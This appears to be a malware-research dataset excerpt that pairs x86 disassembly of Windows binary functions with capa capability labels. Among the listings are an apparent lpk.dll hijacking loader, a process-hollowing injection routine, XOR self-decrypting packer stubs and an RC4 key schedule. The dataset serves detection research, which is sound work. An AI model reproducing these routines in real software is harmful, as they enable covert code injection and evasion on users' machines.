joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100e94a2
Capabilities:
Hash data with crc32

Disassembly:
mov dword [ebp - 4], ecx
mov word [esp + 8], di
mov byte [esp], 0xef
pushal
mov dword [ebp - 0x414], 8
mov byte [esp + 8], 0x92
push 0xe59f2144
push dword [esp + 8]
pushfd
lea esp, [esp + 0x38]
jmp 0x10116ed3

Function at 0x1016d8df
Capabilities:
Parse pe header

Disassembly:
lea esp, [esp + 0x28]
je 0x1005b168
call fcn.100cc760
push edi
aas
cmpsd dword [esi], dword es:[edi]
pop eax
in eax, dx
dec ebp
lds esi, [eax - 0x7b]
cmp dh, bl
lodsb al, byte [esi]
mov ebp, dword [esi + 0x1db6c848]
adc byte [edx], dh
mov eax, 0x128b295d
invalid
cmp eax, 0x5a4d
push 0x8bb7eb42
mov byte [esp + 4], al
pushal
jmp 0x100fc932

Function at 0x1019121b
Capabilities:
Hash data with crc32

Disassembly:
movzx cx, bl
pushfd
pushal
jmp 0x101086f2
test al, 0xb2
mov al, byte [0x994a6afb]
sbb al, 0x9d
popfd
cld
sbb esi, dword [eax]
mov eax, dword [0x6eb3665c]
mov bh, 0x3d
dec esp
push ebp
nop
sbb eax, 0x664d2a41
mov edx, 0x3ac82de5
pop esp
stosd dword es:[edi], eax
invalid
bts dx, cx
mov edx, dword [ebp - 4]
cmp ebp, 0x890835a4
cmp ch, 0x3a
shr edx, 1
pushal
pushal
mov dword [ebp - 4], edx
lea esp, [esp + 0x40]
pushfd
call fcn.101592e9
sbb ah, byte [edx + 0x67]
or edx, dword cs:[ecx]
xor byte [ebp - 0x5d], 0x5f
leave
pop edx
jno 0x100a403d
lahf
cmpsb byte [esi], byte es:[edi]
push cs
or byte [esi + 0x5a631c4c], dl
sub byte [ebx - 0x359f4ea7], bh
sbb dl, al
push ss
adc dl, byte [edi + 0x5c]
sahf
mov edi, 0x672ff4bd
mov gs, ebp
add eax, 0xa97d89cc
bound esi, qword [ebp - 0x48]
invalid
je 0x10107d13
inc eax
out dx, al
mov dword [esp], ebx
pushfd
lea esp, [esp + 0xc]
jle 0x1005a157
cwde
mov eax, dword [ebp - 4]
test ch, 0x8d
test dx, 0xf2db
clc
stc
and eax, 1
pushal
pushfd
pushal
lea esp, [esp + 0x44]
je 0x100a406b
sar cl, 2
mov ecx, dword [ebp - 4]
bt di, 3
stc
stc
shr ecx, 1
cmc
push 0xbbe3d708
or bh, dl
jecxz 0x10107cbf
xor ecx, 0xedb88320
call fcn.100ce5bb
push 0xac04ca59
lodsb al, byte [esi]
call fcn.10001863
jp 0x10107d65
dec edx
wait
out dx, eax
invalid
jl 0x10107d15
sub ebp, edi
xchg dword [esi], eax
mov ecx, 0x3dda3e2f
wait
mov ecx, 0x651c1c7a
sar dword [esi], 1
mov eax, 0x8bd359ff
jns 0x10107d00
daa
and eax, 0x9965c5e0
mov byte [ecx - 0x697bc28b], cl
mov edi, 0x1950667
rcr ecx, 0x4a
test eax, 0xded8e487
sbb al, 0x2a
lea ebx, [edx - 0x1e]
stosb byte es:[edi], al
sub ebp, dword [eax - 0x7b8ce979]
ret 0x8b40
cmpsd dword [esi], dword es:[edi]
fist dword [ecx]
cmp byte [eax - 0x43], cl
invalid
mov al, 0xef
jmp [esi - 0x40f7a75]
mov eax, dword [ebp - 0x410]
push 0xd928b2f7
setae cl
mov ecx, dword [ebp - 4]
pushfd
call fcn.100e7abc
jg 0x101086ee
mov esp, dword [edi - 0x8804972]
retf 0x8f56
mov dword [ebp - 0x414], edx
add esp, 4
test bl, dl
push 0x5c1b326f
cmp dword [ebp - 0x414], 0
pushfd
jmp 0x10107cc3
test ch, 0xe1
bt esi, eax
clc
sub edx, 1
jmp 0x10116eca
Function at 0xda5058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00da51a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xda507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xda506a
add dl, dl
jne 0xda5089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xda50dc
xor eax, eax
add dl, dl
jne 0xda5096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xda517d
add dl, dl
jne 0xda50a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xda50b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xda50bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xda50c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xda50d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xda5075
mov eax, 1
add dl, dl
jne 0xda50ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xda50f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xda50e1
sub eax, ebx
mov ebx, 1
jne 0xda5128
mov ecx, 1
add dl, dl
jne 0xda510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xda5119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xda5105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xda5075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xda513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xda514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xda5136
cmp eax, 0x7d00
jae 0xda516d
cmp eax, 0x500
jb 0xda5168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xda5075
cmp eax, 0x7f
ja 0xda5170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xda5075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xda519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xda5075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001000
Capabilities:
Get common file path
Terminate process

Disassembly:
sub esp, 0x31c
xor eax, eax
push ebx
mov dword [esp + 5], eax
push ebp
mov dword [esp + 0xd], eax
push esi
mov dword [esp + 0x15], eax
push edi
xor ebx, ebx
mov word [esp + 0x1d], ax
mov ecx, 0x40
lea edi, [esp + 0x229]
mov byte [esp + 0x1f], al
mov byte [esp + 0x228], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
mov byte [esp + 0x10], bl
stosb byte es:[edi], al
mov eax, dword [0x10009c18]
cmp eax, ebx
jne 0x10001115
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x125]
mov byte [esp + 0x124], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x20]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.lpk.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x10009c18], eax
jne 0x10001115
lea ecx, [esp + 0x20]
lea edx, [esp + 0x124]
push ecx
push 0x1000709c
push edx
call ebp
add esp, 0xc
lea eax, [esp + 0x124]
push 0x10
push str.MemCode
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x10009c18]
cmp eax, ebx
jne 0x10001115
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [esp + 0x330]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, ebx
jne 0x10001176
mov ecx, esi
shr ecx, 0x10
jne 0x10001145
push esi
lea edx, [esp + 0x14]
push 0x10007090
push edx
call ebp
add esp, 0xc
lea esi, [esp + 0x10]
push esi
lea eax, [esp + 0x22c]
push 0x10007068
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x228]
push 0x10
push str.MemCode
push ecx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x31c
ret 4
Function at 0x10001190
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [esp + 8]
sub esp, 0x25c
mov eax, 1
cmp ecx, eax
push esi
jne 0x10001373
lea eax, [esp + 0x15c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x15c]
push 0x1000712c
push ecx
lea esi, [esp + 0x164]
call fcn.10001470
add esp, 8
test eax, eax
jbe 0x100011f2
lea esi, [eax + 1]
push 0x1000712c
push esi
call fcn.10001470
add esp, 8
test eax, eax
ja 0x100011dd
push str.explorer.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000120e
xor eax, eax
pop esi
add esp, 0x25c
ret 0xc
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 8]
lea edx, [esp + 8]
push 0x10007118
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x124], 0x44
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 8]
push 0x10007114
push eax
call esi
lea ecx, [esp + 8]
push 0x1000712c
push ecx
call esi
lea edx, [esp + 8]
push str.Program_Files
push edx
call esi
lea eax, [esp + 8]
push 0x1000712c
push eax
call esi
lea ecx, [esp + 8]
push 0x100070f8
push ecx
call esi
lea edx, [esp + 8]
push 0x100070f4
push edx
call esi
lea eax, [esp + 8]
push 0x100070f0
push eax
call esi
lea ecx, [esp + 8]
push 0x100070ec
push ecx
call esi
lea edx, [esp + 8]
push 0x100070e8
push edx
call esi
lea eax, [esp + 8]
push 0x100070e4
push eax
call esi
lea ecx, [esp + 8]
push 0x100070e0
push ecx
call esi
lea edx, [esp + 8]
push 0x100070f4
push edx
call esi
lea eax, [esp + 8]
push 0x100070f0
push eax
call esi
lea ecx, [esp + 8]
push 0x100070ec
push ecx
call esi
lea edx, [esp + 8]
push 0x100070dc
push edx
call esi
lea eax, [esp + 8]
push 0x100070d8
push eax
call esi
lea ecx, [esp + 8]
push str.BgneLiauK
push ecx
call esi
lea edx, [esp + 8]
push 0x100070e0
push edx
call esi
lea eax, [esp + 8]
push 0x100070dc
push eax
call esi
lea ecx, [esp + 8]
push 0x1000712c
push ecx
call esi
lea edx, [esp + 8]
push str.Hijack.exe
push edx
call esi
lea eax, [esp + 0x10c]
lea ecx, [esp + 0x11c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x28]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop edi
pop esi
add esp, 0x25c
ret 0xc
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x433002
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x36b768e5
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x28c06804
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x613069f
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0xb902b19
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x405960
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x28d89b5
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x28f6124]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x28f732c
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00424b70
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x28f6cb4
push eax
call fcn.00424b70
mov esi, dword [0x28f733c]
xor ebx, ebx
mov edi, dword [0x28f7340]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x28f9ac8], bl
mov eax, ebx
mov ecx, 0x28f732c
cmovae ecx, dword [0x28f732c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x28f9bd8], al
inc ebx
cmp ebx, 0x100
jl 0x4059e0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x28f9ac8]
movzx eax, byte [esi + 0x28f9bd8]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x405a34
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x28f9ac8]
mov byte [esi + 0x28f9ac8], al
inc esi
mov byte [edi + 0x28f9ac8], dl
cmp esi, 0x100
jl 0x405a10
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00405640
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x405a89
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405a7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405adf
push edx
push ecx
call fcn.0042a957
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x405acb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405ac1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405adf
push edx
push ecx
call fcn.0042a957
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042f94a
int3
Function at 0x408c70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x28f6124]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call dword [0x28e1108]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x408e59
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x408e59
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.0042bf70
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call dword [0x28e1090]
test eax, eax
je 0x408e59
push 4
push 0x1000
push 4
push 0
call dword [0x28e10ec]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [0x28e107c]
test eax, eax
je 0x408e59
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x28edba0
push dword [esp + 0x30]
call dword [0x28e108c]
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x408d7c
push 0x28edba4
push 0x28edbbc
call dword [0x28e10c4]
push eax
call dword [0x28e1080]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call dword [0x28e110c]
mov dword [esp + 0x14], eax
test eax, eax
je 0x408e59
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call dword [0x28e1104]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x408e13
mov dword [esp + 0xc], eax
call fcn.00408ab0
push eax
call dword [0x28e10b4]
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [0x28e1104]
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x408dc2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [0x28e1104]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [0x28e1098]
push dword [esp + 0x24]
call dword [0x28e10c8]
push 0x8000
push 0
push esi
call dword [0x28e10f8]
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret
Function at 0x40da00
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x28d95db
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x28f6124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00432713
push eax
call fcn.0042ea2c
add esp, 8
call fcn.0042ea0b
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.0042ea0b
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.0042ea0b
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00404fe0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x40dab0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40dac6
push 0x40
push 0
push 0x28fbc98
sub esi, ecx
call fcn.0042bf70
add esp, 0xc
mov dword [0x28fbc8c], 0
mov edx, esi
mov dword [0x28fbc88], 0
lea ecx, [ebp - 0x410]
mov dword [0x28fbc78], 0x67452301
mov dword [0x28fbc7c], 0xefcdab89
mov dword [0x28fbc80], 0x98badcfe
mov dword [0x28fbc84], 0x10325476
call fcn.004067a0
call fcn.00406860
mov ecx, 0x28f9cd8
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40db60
sub ecx, edx
push ecx
push 0x28f9cd8
lea ecx, [ebp - 0x42c]
call fcn.00424b70
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x40dbbb
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dbb1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40dc81
push edx
push ecx
call fcn.0042a957
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0x40dc7c
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.00424b70
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x40dc5e
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dc54
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40dc81
push edx
push ecx
call fcn.0042a957
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret
call fcn.00425080
call fcn.0042f94a
int3
Function at 0x424400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x28f6124]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x4244ba
cmp byte [esi + 0x3d], 0
je 0x4244ba
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4244a8
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x424470
sub eax, 1
je 0x424474
sub eax, 2
jne 0x4244a8
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x424491
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00431aa6
add esp, 0x10
cmp edi, eax
jne 0x4244a8
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0042a2e1
mov esp, ebp
pop ebp
ret

Function at 0x424d30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x28dc100
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x28f6124]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
push 8
mov dword [eax], 0x28ede4c
call fcn.0042a6d6
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0042916f
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43971e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00439594